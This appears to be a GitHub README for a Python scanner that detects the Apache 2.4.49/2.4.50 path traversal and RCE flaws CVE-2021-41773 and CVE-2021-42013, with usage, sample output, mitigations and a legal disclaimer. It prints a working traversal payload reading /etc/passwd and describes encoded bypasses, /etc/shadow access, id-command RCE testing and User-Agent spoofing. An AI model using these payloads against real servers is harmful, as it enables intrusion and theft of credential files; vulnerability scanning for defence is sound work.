
Python-based scanner for detecting CVE-2021-41773 and CVE-2021-42013 path traversal and remote code execution vulnerabilities in Apache HTTP Server 2.4.49 and 2.4.50.
A comprehensive Python-based vulnerability scanner for detecting CVE-2021-41773 and CVE-2021-42013 path traversal and remote code execution vulnerabilities in Apache HTTP Server versions 2.4.49 and 2.4.50.
CVE-2021-41773 and CVE-2021-42013 are critical vulnerabilities affecting Apache HTTP Server that allow attackers to:
These vulnerabilities gained widespread attention in October 2021 and have been actively exploited in the wild.
.%2e) to bypass directory restrictions/etc/passwd%%32%65) bypass✅ Dual CVE Detection: Tests for both CVE-2021-41773 and CVE-2021-42013 ✅ Path Traversal Testing: Multiple payload variations for file access attempts ✅ RCE Testing: Remote code execution verification if mod_cgi is enabled ✅ Batch Scanning: Scan multiple targets from a file ✅ Color-Coded Output: Easy-to-read formatted results ✅ Customizable Timeout: Adjustable request timeout for unreliable networks ✅ User-Agent Spoofing: Bypasses basic filtering mechanisms
requests librarycolorama libraryhttps://github.com/drackyjr/CVE-2021-42013.git
cd cve-2021-41773-42013
pip3 install -r requirements.txt
Or manually install:
pip3 install requests colorama
python3 cve_scanner.py -u http://192.168.1.100
python3 cve_scanner.py -u https://target.com
python3 cve_scanner.py -u http://target.com -t 15
python3 cve_scanner.py -l targets.txt
python3 cve_scanner.py -h
| Argument | Short | Type | Description |
|---|---|---|---|
--url | -u | STRING | Target URL (e.g., http://example.com) |
--list | -l | FILE | File containing list of targets (one per line) |
--timeout | -t | INTEGER | Request timeout in seconds (default: 10) |
python3 cve_scanner.py -u http://192.168.1.100
Create targets.txt:
http://192.168.1.100
https://example.com:8080
http://10.0.0.50
https://vulnerable.server.com
Then run:
python3 cve_scanner.py -l targets.txt -t 15
python3 cve_scanner.py -u http://target.com -t 30
The scanner provides detailed output including:
Example output:
============================================================
CVE-2021-41773 / CVE-2021-42013 Vulnerability Scanner
============================================================
[*] Target: http://192.168.1.100
[*] Testing CVE-2021-41773 (Apache 2.4.49)...
[+] VULNERABLE to CVE-2021-41773!
[+] Payload: /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
[+] Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
============================================================
Scan Summary
============================================================
[!] Target is VULNERABLE!
[!] Immediate patching required!
[*] Recommendation: Upgrade to Apache HTTP Server 2.4.51 or later
============================================================
.%2e)/cgi-bin/, /icons/, /images//etc/passwd and /etc/shadow%%32%65)id command to verify code executionuid= and gid= in responseThe scanner looks for:
root: or daemon: entries from /etc/passwduid= and gid= from id command execution<Directory />
Require all denied
</Directory>
# Restrict access to sensitive directories
<Directory /cgi-bin>
Require all denied
</Directory>
# Disable symbolic links if not needed
Options -FollowSymLinks
# Enable security headers
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
# Check Apache version
apache2 -v
httpd -v
| Version | Status | Action |
|---|---|---|
| 2.4.49 | ❌ Vulnerable | Upgrade immediately |
| 2.4.50 | ⚠️ Partially Patched | Upgrade to 2.4.51+ |
| 2.4.51+ | ✅ Patched | No action needed |
⚠️ IMPORTANT: This tool is intended ONLY for authorized security testing and educational purposes. Unauthorized access to computer systems is ILLEGAL under laws like the Computer Fraud and Abuse Act (CFAA) and similar legislation worldwide.
Authorized Use Only:
Misuse Warning: Users are responsible for ensuring they have explicit authorization before testing any target. The authors assume no liability for unauthorized use.
This scanner is ideal for:
.
├── cve_scanner.py # Main scanner script
├── requirements.txt # Python dependencies
├── README.md # This file
├── targets.txt # Example target list
└── LICENSE # License information
requests==2.28.1
colorama==0.4.5
http://192.168.1.100
https://vulnerable.example.com
http://10.0.0.50:8080
Solution: Increase timeout with -t option
python3 cve_scanner.py -u http://target.com -t 30
Solution: The script disables SSL verification by default. If issues persist, ensure Python certificates are updated:
pip3 install --upgrade certifi
Solution: Ensure all dependencies are installed
pip3 install -r requirements.txt
Solution: Make the script executable
chmod +x cve_scanner.py
python3 cve_scanner.py -u http://target.com
-l with a target file for multiple scansContributions are welcome! To contribute:
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)Please ensure:
This project is licensed under the MIT License. See the LICENSE file for details.
Security Testing Tool
Created for educational and authorized security testing purposes.
For questions, issues, or suggestions, please open an issue on GitHub.
Last Updated: November 2025
Status: Active Development
Tested On: Python 3.8+, Apache 2.4.49, 2.4.50